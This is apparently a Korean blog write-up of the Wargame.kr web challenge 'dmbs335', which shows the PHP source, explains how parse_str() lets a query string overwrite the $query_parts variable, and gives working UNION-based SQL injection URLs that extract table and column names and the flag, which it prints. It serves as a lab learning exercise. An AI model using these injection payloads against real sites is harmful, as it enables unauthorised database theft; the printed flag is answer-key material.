Dyrandy
[Wargame.kr] 워게임 18번 challenge 18 dmbs335 본문
오늘은 웹을 오랜만에 풀기로 했다.
이 문제는 SQL문제인데, 생각보다 간단하다.
일단 대놓고 SQL문제라는 것을 우리에게 가르쳐 주고 있다.
이런게 있는데, search버튼을 누르면 URL이 이렇게 바뀐다.
http://wargame.kr:8080/dmbs335/?search_cols=subject&keyword=&operator=or
요기서 소스코드를 살펴보면,
<?php
if (isset($_GET['view-source'])) {
show_source(__FILE__);
exit();
}
include("../lib.php");
include("./inc.php"); // Database Connected
function getOperator(&$operator) {
switch($operator) {
case 'and':
case '&&':
$operator = 'and';
break;
case 'or':
case '||':
$operator = 'or';
break;
default:
$operator = 'or';
break;
}}
if(preg_match('/session/isUD',$_SERVER['QUERY_STRING'])) {
exit('not allowed');
}
parse_str($_SERVER['QUERY_STRING']);
getOperator($operator);
$keyword = addslashes($keyword);
$where_clause = '';
if(!isset($search_cols)) {
$search_cols = 'subject|content';
}
$cols = explode('|',$search_cols);
foreach($cols as $col) {
$col = preg_match('/^(subject|content|writer)$/isDU',$col) ? $col : '';
if($col) {
$query_parts = $col . " like '%" . $keyword . "%'";
}
if($query_parts) {
$where_clause .= $query_parts;
$where_clause .= ' ';
$where_clause .= $operator;
$where_clause .= ' ';
$query_parts = '';
}
}
if(!$where_clause) {
$where_clause = "content like '%{$keyword}%'";
}
if(preg_match('/\s'.$operator.'\s$/isDU',$where_clause)) {
$len = strlen($where_clause) - (strlen($operator) + 2);
$where_clause = substr($where_clause, 0, $len);
}
?>
<style>
td:first-child, td:last-child {text-align:center;}
td {padding:3px; border:1px solid #ddd;}
thead td {font-weight:bold; text-align:center;}
tbody tr {cursor:pointer;}
</style>
<br />
<table border=1>
<thead>
<tr><td>Num</td><td>subject</td><td>content</td><td>writer</td></tr>
</thead>
<tbody>
<?php
$result = mysql_query("select * from board where {$where_clause} order by idx desc");
while ($row = mysql_fetch_assoc($result)) {
echo "<tr>";
echo "<td>{$row['idx']}</td>";
echo "<td>{$row['subject']}</td>";
echo "<td>{$row['content']}</td>";
echo "<td>{$row['writer']}</td>";
echo "</tr>";
}
?>
</tbody>
<tfoot>
<tr><td colspan=4>
<form method="">
<select name="search_cols">
<option value="subject" selected>subject</option>
<option value="content">content</option>
<option value="content|content">subject, content</option>
<option value="writer">writer</option>
</select>
<input type="text" name="keyword" />
<input type="radio" name="operator" value="or" checked /> or
<input type="radio" name="operator" value="and" /> and
<input type="submit" value="SEARCH" />
</form>
</td></tr>
</tfoot>
</table>
<br />
<a href="./?view-source">view-source</a><br />
이렇게 나와있다. 보면 4개의 항목을 가지고오고, sql이 어떻게 삽이 되는지 볼 수 있다.
요기서 잘 보면 parse_str()이라는 함수가 있다. 이 함수는 url에 있는 질의를 변수로 설정해서 저장 시킬 수 있다는 것이다.
즉, 우리가 php변수를 임의로 만들거나 저장 시킬수 있다는 것이다.
http://php.net/manual/kr/function.parse-str.php
그러면 우리가 query_strings를 만들어주고, 거기안에 sql injection문구를 만들어 넣어보리면,
where_clause안에 sql값이 들어가버릴 것이다. 또한 col값을 없게 만들게 아무거나 쳐서 넣었다.
보면 sql injection이 통한다는 것을 알 수 있다.
우리가 query_parts를 subject union select 1,2,3,4#를 해줌으로서
select * from board where subject union select 1,2,3,4 #
이 되버린 것이다.
그러면 이제 뽑는 일만 남았다.
먼저 table이름을 뽑고
column이름 뽑고
column과 table을 이용해 data를 뽑으면 되는 것이다.
http://wargame.kr:8080/dmbs335/?search_cols=zzz&keyword=&operator=or&query_parts=subject%20union%20select%201,2,table_name,4 from information_schema.tables%23
table_name = Th1s_1s_Flag_tbl
http://wargame.kr:8080/dmbs335/?search_cols=zzz&keyword=&operator=or&query_parts=subject%20union%20select%201,2,column_name,4 from information_schema.columns where table_name='Th1s_1s_Flag_tbl'%23
column_name = f1ag
http://wargame.kr:8080/dmbs335/?search_cols=zzz&keyword=&operator=or&query_parts=subject%20union%20select%201,2,f1ag,4 from Th1s_1s_Flag_tbl%23
끝
993e74dfd4fa18c48f559fdf3156d0b8692fcf9f
'Wargame WriteUp > WarGame.kr' 카테고리의 다른 글
[Wargame.kr] challenge php? c? (0) | 2018.10.25 |
---|---|
[Wargame.kr] 워게임 19번 challenge 19 lonely_guys (0) | 2018.06.27 |
[Wargame.kr] 워게임 17번 challenge 17 img recovery (0) | 2018.05.31 |
[Wargame.kr] 워게임 16번 challenge 16 pyc decompile (0) | 2018.04.25 |
[Wargame.kr] 워게임 15번 challenge 15 web chatting (0) | 2018.04.18 |